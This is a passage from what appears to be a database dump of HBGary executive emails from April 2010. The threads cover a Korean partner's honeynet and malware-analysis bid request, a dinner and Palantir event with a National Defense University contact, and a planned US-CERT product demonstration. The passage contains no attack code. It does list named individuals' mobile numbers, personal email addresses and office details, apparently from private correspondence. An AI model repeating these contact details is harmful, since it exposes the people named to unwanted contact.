PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: FW: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\nDid Maria send this to you?  Should we bid this?  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Monday, April 05, 2010 4:03 AM\r\nTo: &#39;Maria Lucas&#39;\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi.. Maria.. \r\n\r\n \r\n\r\nThanks for your reply\r\nand sorry about my late response because I have been busy during days. \r\n\r\nI had been met many\r\ncustomers in Korea and some from Government Agency, some from Security SI and\r\nsome from commercial market. \r\n\r\n \r\n\r\nI’m\r\nglad to hear that you and your team interesting about what project to build. \r\n\r\n \r\n\r\nI wish to hear you the\r\nanswer to share this project today. \r\n\r\n \r\n\r\nAs I mentioned that we\r\nneed a partner who have done or have many experience to do this kind of project\r\nand as I told you that I’m pretty sure that you and your\r\nteam already had done and have good reputation in Market. \r\n\r\n \r\n\r\nThere is no requirement\r\ndocumentation yet, as I told you that we have to prepare that document but we\r\nare running out of time since the RFP should be done middle of this week. \r\n\r\n \r\n\r\nThere is a minimum\r\nrequirement from customer as below:\r\n\r\n \r\n\r\n1.    \r\nThe Cyber Threat Analysis team want to build any sort of field\r\nto collect traffic or packet or activities and files from net and I expected\r\nthat it will be a honey net or capture the whole traffic from net transaction. \r\n\r\n2.    \r\nThe Cyber Threat Analysis team want to pick any sort of\r\nmalicious activities, files and packet from that captured traffic or Honey-net.\r\n\r\n\r\n3.    \r\nThey want to analyze the packets, files, activities and traffic\r\nto find or aim that this is real malicious things from net. \r\n\r\n4.    \r\nTo analysis those traffic, packets, files and activities, they\r\nmight need your solutions, and even your experience; how to analysis those\r\nmalicious things effectively.\r\n\r\n5.    \r\nFrom the earned information to picked and aimed, they want to\r\nsystemize the processes to collect, analyze and categorize malicious activities\r\nand so on.. \r\n\r\n \r\n\r\nThose are the minimum\r\nrequirement from customer and actually, I just have a concept to build;\r\nhowever, I don’t have experience build in real. \r\n\r\nThat is the reason why\r\nI need you and your team Maria. \r\n\r\n \r\n\r\nAs I requested before,\r\nI wish to get answer for what I asked you last time. \r\n\r\nAlso, I wish to get\r\nyour suggestion to hand over requirement to do this project, anything to help\r\nto keep this project is ours. \r\n\r\nAnd if you can, please\r\nbriefly let us know how you can do this. \r\n\r\n \r\n\r\nI wish get your answer\r\nfor this today, if possible. \r\n\r\n \r\n\r\nAs I mentioned above,\r\nit is running out of time and we just have one or two day to hold to fix the\r\nRFP from customer. \r\n\r\nIf you can help us,\r\nyour guide and requirement become customer’s demand and we\r\ncan get the project to drive. \r\n\r\n \r\n\r\nPlease answer me today\r\nthrough email and call. \r\n\r\n \r\n\r\nI will wait for your\r\nanswer both communication way. \r\n\r\n \r\n\r\nHave a good day.. and\r\nbe well.. \r\n\r\n \r\n\r\nBest regards \r\n\r\n \r\n\r\nJason  \r\n\r\n \r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 01, 2010 4:16 AM\r\nTo: Jason Lee\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: Re: [Softwide] Deal and SI project requesting\r\n\r\n \r\n\r\n\r\n\r\nHello Jason\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am going to refer your questions to Phil Wallisch -- a\r\nlead security engineer at HBGary.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPhil is currently on vacation but will be available next\r\nweek to respond to your request -- this sounds very interesting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo you have a requirements document that you can send to us\r\nfor review?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria \r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi..\r\n\r\n\r\n \r\n\r\nI’m\r\nJason Lee from Softwide Security. \r\n\r\n \r\n\r\nIt\r\nis first time contact you, but I wish that you can help us to support our\r\nproject and deal. \r\n\r\n \r\n\r\nHere\r\nI have something to discuss and get an answer for your support. \r\n\r\n \r\n\r\n1.    \r\nOur biggest customer want to have a project to build a honey net to\r\ncapture traffic to collect and analyze malicious packet, file, attack …\r\n\r\n\r\n2.    \r\nFor this project, I believe they might need to purchase your product to\r\nanalyze captured traffic, files and activities. \r\n\r\n3.    \r\nThey also want to build a honey-net with professional people who have\r\ndone this before. \r\n\r\n \r\n\r\nI\r\nbelieve that you might interesting about this project since your CTO have done\r\nmany reverse, analyzing work for Malicious file and other. \r\n\r\n \r\n\r\nI\r\nwould like to hear from you:\r\n\r\n1.    \r\nDo you and your team want to do this project with us?\r\n\r\nA.    \r\nActually, I wish you take this case to do this project since it is a\r\nreally good chance to have a good relationship with most biggest Korean\r\nCustomer.\r\n\r\nB.     \r\nI believe that you and your team already have done this kind of project\r\nfor your government there. \r\n\r\n2.    \r\nIf you can want to do this project, can you estimate the size of project\r\ncost and how long does it take and how many of you and your team come to Korea?\r\n\r\nA.    \r\nYou can put the period as you really need to put\r\n\r\nB.     \r\nYou should estimate the number of people what who can support to finish\r\nthis project\r\n\r\nC.     \r\nYou have to give us the exact cost for whole project including\r\naccommodation in Korea.\r\n\r\n3.    \r\nIf possible, I wish to talk through phone line to discuss about this\r\nproject. \r\n\r\nA.    \r\nI called your represent phone number this morning, but no one get answer\r\n;(, please..\r\n\r\n \r\n\r\nThere\r\nis a good news that we can create RFP for this project then, feel free to tell\r\nme what necessary things that I have to put for this project.\r\n\r\n \r\n\r\nI\r\nwish to hear from you ASAP.\r\n\r\n \r\n\r\nHave\r\na good day.. and be well.. \r\n\r\n \r\n\r\nBest\r\nregards \r\n\r\n \r\n\r\nJason\r\n  \r\n\r\n \r\n\r\n \r\n\r\nJason Lee\r\n\r\nC.T.O. / Senior Consultant \r\n\r\n\r\n\r\nSoftwide Security, Inc.\r\n\r\n5th LV, HakDong Building\r\n\r\n81-5, NonHyund-Dong, \r\n\r\nGanNam-Gu, SEOUL\r\n\r\nRepublic of Korea\r\n\r\nZIP 135-010\r\n\r\nMobile: +82 17 659 1906\r\n\r\nOffice: + 82 2 6052 5700\r\n\r\nFax: + 82 3665 3519\r\n\r\nIM: jaisonyi@hotmail.com(MSN, NATE, SkyPE)\r\n\r\n\r\nAlter E-mail: jaisonyi@gmail.com \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13425,'aaron_hbgary_com/13425.html'),(4991,'2010-04-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003190.M481065P3547Q4991.eml','\"Jason Lee\" <jason@softwidesec.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Jason Lee\" <jason@softwidesec.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: [Softwide] Deal and SI project requesting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Jason,\r\n\r\n&nbsp;\r\n\r\nI am the President of HBGary.&nbsp; I am copying Aaron Barr, he is\r\nthe CEO of HBGary Federal our consulting arm.&nbsp; We are certainly interested in\r\nthe project, but as Phil previously mentioned, we are more in the malware\r\ndetection space.&nbsp; We do have technologies in the network area, but not\r\nnecessarily what you are looking for, although our DDNA and malware processor\r\nare in line with your needs.&nbsp; More than likely we&#8217;d need to purchase a network\r\ndevice and then do custom work to link all the pieces together.&nbsp; This is not a\r\nproblem for us.&nbsp; That said, we&#8217;d need to know more about the project in order\r\nto bid it, timeframe, end user customers name/business, timeframe to start\r\netc.&nbsp; Aaron can certainly answer many of these questions.&nbsp; His phone number is\r\n916-459-4727 ext 117 .&nbsp; He&#8217;s in Washington DC.&nbsp; His cell is 719-510-8478.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Monday, April 05, 2010 4:03 AM\r\nTo: \'Maria Lucas\'\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi.. Maria.. \r\n\r\n&nbsp;\r\n\r\nThanks for your reply\r\nand sorry about my late response because I have been busy during days. \r\n\r\nI had been met many\r\ncustomers in Korea and some from Government Agency, some from Security SI and\r\nsome from commercial market. \r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nglad to hear that you and your team interesting about what project to build. \r\n\r\n&nbsp;\r\n\r\nI wish to hear you the\r\nanswer to share this project today. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned that we\r\nneed a partner who have done or have many experience to do this kind of project\r\nand as I told you that I&#8217;m pretty sure that you and your\r\nteam already had done and have good reputation in Market. \r\n\r\n&nbsp;\r\n\r\nThere is no requirement\r\ndocumentation yet, as I told you that we have to prepare that document but we\r\nare running out of time since the RFP should be done middle of this week. \r\n\r\n&nbsp;\r\n\r\nThere is a minimum\r\nrequirement from customer as below:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to build any sort of field\r\nto collect traffic or packet or activities and files from net and I expected\r\nthat it will be a honey net or capture the whole traffic from net transaction. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to pick any sort of\r\nmalicious activities, files and packet from that captured traffic or Honey-net.\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey want to analyze the packets, files, activities and traffic\r\nto find or aim that this is real malicious things from net. \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo analysis those traffic, packets, files and activities, they\r\nmight need your solutions, and even your experience; how to analysis those\r\nmalicious things effectively.\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFrom the earned information to picked and aimed, they want to\r\nsystemize the processes to collect, analyze and categorize malicious activities\r\nand so on.. \r\n\r\n&nbsp;\r\n\r\nThose are the minimum\r\nrequirement from customer and actually, I just have a concept to build;\r\nhowever, I don&#8217;t have experience build in real. \r\n\r\nThat is the reason why\r\nI need you and your team Maria. \r\n\r\n&nbsp;\r\n\r\nAs I requested before,\r\nI wish to get answer for what I asked you last time. \r\n\r\nAlso, I wish to get\r\nyour suggestion to hand over requirement to do this project, anything to help\r\nto keep this project is ours. \r\n\r\nAnd if you can, please\r\nbriefly let us know how you can do this. \r\n\r\n&nbsp;\r\n\r\nI wish get your answer\r\nfor this today, if possible. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned above,\r\nit is running out of time and we just have one or two day to hold to fix the\r\nRFP from customer. \r\n\r\nIf you can help us,\r\nyour guide and requirement become customer&#8217;s demand and we\r\ncan get the project to drive. \r\n\r\n&nbsp;\r\n\r\nPlease answer me today\r\nthrough email and call. \r\n\r\n&nbsp;\r\n\r\nI will wait for your\r\nanswer both communication way. \r\n\r\n&nbsp;\r\n\r\nHave a good day.. and\r\nbe well.. \r\n\r\n&nbsp;\r\n\r\nBest regards \r\n\r\n&nbsp;\r\n\r\nJason &nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 01, 2010 4:16 AM\r\nTo: Jason Lee\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: Re: [Softwide] Deal and SI project requesting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHello Jason\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am going to refer your questions to Phil Wallisch -- a\r\nlead security engineer at HBGary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhil is currently on vacation but will be available next\r\nweek to respond to your request --&nbsp;this sounds very interesting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have a requirements document that you can send to us\r\nfor review?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi..\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nJason Lee from Softwide Security. \r\n\r\n&nbsp;\r\n\r\nIt\r\nis first time contact you, but I wish that you can help us to support our\r\nproject and deal. \r\n\r\n&nbsp;\r\n\r\nHere\r\nI have something to discuss and get an answer for your support. \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOur biggest customer want to have a project to build a honey net to\r\ncapture traffic to collect and analyze malicious packet, file, attack &#8230;\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor this project, I believe they might need to purchase your product to\r\nanalyze captured traffic, files and activities. \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey also want to build a honey-net with professional people who have\r\ndone this before. \r\n\r\n&nbsp;\r\n\r\nI\r\nbelieve that you might interesting about this project since your CTO have done\r\nmany reverse, analyzing work for Malicious file and other. \r\n\r\n&nbsp;\r\n\r\nI\r\nwould like to hear from you:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo you and your team want to do this project with us?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nActually, I wish you take this case to do this project since it is a\r\nreally good chance to have a good relationship with most biggest Korean\r\nCustomer.\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI believe that you and your team already have done this kind of project\r\nfor your government there. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf you can want to do this project, can you estimate the size of project\r\ncost and how long does it take and how many of you and your team come to Korea?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou can put the period as you really need to put\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou should estimate the number of people what who can support to finish\r\nthis project\r\n\r\nC.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou have to give us the exact cost for whole project including\r\naccommodation in Korea.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf possible, I wish to talk through phone line to discuss about this\r\nproject. \r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nI called your represent phone number this morning, but no one get answer\r\n;(, please..\r\n\r\n&nbsp;\r\n\r\nThere\r\nis a good news that we can create RFP for this project then, feel free to tell\r\nme what necessary things that I have to put for this project.\r\n\r\n&nbsp;\r\n\r\nI\r\nwish to hear from you ASAP.\r\n\r\n&nbsp;\r\n\r\nHave\r\na good day.. and be well.. \r\n\r\n&nbsp;\r\n\r\nBest\r\nregards \r\n\r\n&nbsp;\r\n\r\nJason\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJason Lee\r\n\r\nC.T.O. / Senior Consultant \r\n\r\n\r\n\r\nSoftwide Security, Inc.\r\n\r\n5th LV, HakDong Building\r\n\r\n81-5, NonHyund-Dong, \r\n\r\nGanNam-Gu, SEOUL\r\n\r\nRepublic of Korea\r\n\r\nZIP 135-010\r\n\r\nMobile: +82 17 659 1906\r\n\r\nOffice: + 82 2 6052 5700\r\n\r\nFax: + 82 3665 3519\r\n\r\nIM: jaisonyi@hotmail.com(MSN, NATE, SkyPE)\r\n\r\nAlter E-mail: jaisonyi@gmail.com \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12393,'aaron_hbgary_com/12393.html'),(4992,'2010-04-06','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003190.M723525P3547Q4992.eml','aaron@hbgary.com,aaron@hbgary.com,','Re: Thursday dinner','\r\nYup. See you tomorrow. _____________________    Sent from my Blackberry. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Lachow, IrvingCc: Ray Owen &lt;ray.owen@comcast.net&gt;; nathan.atherley@gmail.com &lt;nathan.atherley@gmail.com&gt;Sent: Tue Apr 06 13:45:34 2010Subject: Re: Thursday dinner\r\nIrving,Are you still planning on attending the Palantir conference tomorrow? &nbsp;HBGary will have a booth, so please stop by.AaronOn Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:Thanks Penny.&nbsp; I appreciate the introduction and really appreciate the DDNA license.&nbsp; Before y’all send that along, let me connect Jim with our lab people and so they can work this out directly.&nbsp; They need to work the legal process carefully&nbsp; and also assess where this would fit into the lab’s current configuration.&nbsp;Aaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;Cheers,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 2:11 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netCc:&nbsp;\'Jim Richards\'; \'Aaron Barr\'Subject:&nbsp;RE: Thursday dinner&nbsp;Irving,&nbsp;It was great to finally meet you too.&nbsp;&nbsp; I’ll let you know when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.&nbsp;Aaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading the development effort which we will be participating with Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in DC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570&nbsp;Jim, please send Irving Responder Pro with DDNA license for one year and Field Edition for his training room.&nbsp; Irving is at National Defense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp; Responder Field Edition has a malware analysis module and forensic module.&nbsp; How many copies do you need for workstations?&nbsp; We’ll also send you our training and some flip books that allow students to have a take away.&nbsp;&nbsp;300 5th&nbsp;Avenue Bldg 62Marshall Hall Room 183HFort Lesley J. McNairWashington, DC 20319-5066&nbsp;TTYSPenny&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Friday, March 19, 2010 8:25 AMTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;Hi there.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It was great company and I enjoyed learning more about HB Gary.&nbsp;Penny, let me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in learning more about them.&nbsp; Speaking of Greg, please forward this to him.&nbsp; When you have a moment, can you connect me with your Federal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp; I got the date wrong, it is April 7th&nbsp;not 5th.&nbsp;Regards,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 12:56 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;OK, sounds good&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 7:01 AMTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;Re: Thursday dinner&nbsp;Nate, sorry about that. I hope you can join us soon. I don\'t have to leave for a SFO until 8 or so.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;To: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;Sent: Thu Mar 18 07:55:30 2010Subject: Thursday dinnerRay, Irv, Penny&nbsp;Just to close the loop from my end.&nbsp; I talked to Ray last night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner time.&nbsp; I will be there as soon as possible.&nbsp;Thanks&nbsp;nathan&nbsp;Spalti\'s restaurant417 S. California AvePalo Alto, CA650-327-9390&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12551,'aaron_hbgary_com/12551.html'),(4993,'2010-04-06','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297003190.M909251P3547Q4993.eml','aaron@hbgary.com','sorry I missed the 3PM time - i guess we\'ll configure it tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Man I’ve been on the phone for the last 2 hours.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',16803,'aaron_hbgary_com/16803.html'),(4994,'2010-04-06','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','/aaron@hbgary.com/new/1297003191.M109348P3547Q4994.eml','\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov,\"Compton, Michael W.\" <Michael.Compton@gd-ais.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>','FW: HB Gary','\r\n\r\n\r\n\r\n\r\nHB Gary\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nHBGary team\r\nthis is the GD-AIS team.\r\n\r\n&nbsp;\r\n\r\nAs we move\r\nforward in our partnership, I thought it would be good to show the US CERT some\r\nof the new technologies that HB Gary is bringing to the fight.\r\n\r\n&nbsp;\r\n\r\nI have a\r\nmeeting scheduled with Byron Copeland, Chief of Forensics and Malware Analysis,\r\nUS CERT, on April 14, 2010, at 930 - can you be there?\r\n\r\n&nbsp;\r\n\r\nMatt Rohring\r\ncan you set up a conference Room at Glebe Road?\r\n\r\n&nbsp;\r\n\r\nIf you all\r\nrespond positively, I will send the reminder notice.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Tuesday, April 06, 2010 1:46 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat works. What do we say, about 9am, 930anm or so?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=1705c1df47=matthew.stern@gd-ais.com\r\n[mailto:prvs=1705c1df47=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Tuesday, April 06, 2010 1:24 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow about the\r\n21st?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:29 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m out this Thursday and Friday and out all next week.\r\nThe 20th is not good either. But free any other time.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Monday, April 05, 2010 1:26 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk \r\n\r\n&nbsp;\r\n\r\nI will help\r\nget something set up\r\n\r\n&nbsp;\r\n\r\nWhat does\r\nyour schedule look like?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:15 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n&nbsp;\r\n\r\nWe in fact do use GB Gary Responder &nbsp;Pro and HBGary Digital\r\nDNA.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d love to hear more about the Sandbox capabilities. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Monday, April 05, 2010 1:05 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nByron,\r\n\r\nAre you using HB Gary?\r\n\r\nWould you be interested in\r\nsome very powerful reverse\r\nEngineering and Sandbox capabilities that they have?\r\n\r\nR\r\n\r\nMatt\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6185,'aaron_hbgary_com/6185.html'),(4995,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003191.M313657P3547Q4995.eml','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,,,,,','Re: HB Gary','I am available.From my iPhoneOn Apr 6, 2010, at 3:57 PM, &quot;Stern, Matthew A.&quot; &lt;Matthew.Stern@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nHBGary team\r\nthis is the GD-AIS team.\r\n\r\n \r\n\r\nAs we move\r\nforward in our partnership, I thought it would be good to show the US CERT some\r\nof the new technologies that HB Gary is bringing to the fight.\r\n\r\n \r\n\r\nI have a\r\nmeeting scheduled with Byron Copeland, Chief of Forensics and Malware Analysis,\r\nUS CERT, on April 14, 2010, at 930 - can you be there?\r\n\r\n \r\n\r\nMatt Rohring\r\ncan you set up a conference Room at Glebe Road?\r\n\r\n \r\n\r\nIf you all\r\nrespond positively, I will send the reminder notice.\r\n\r\n \r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Tuesday, April 06, 2010 1:46 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: 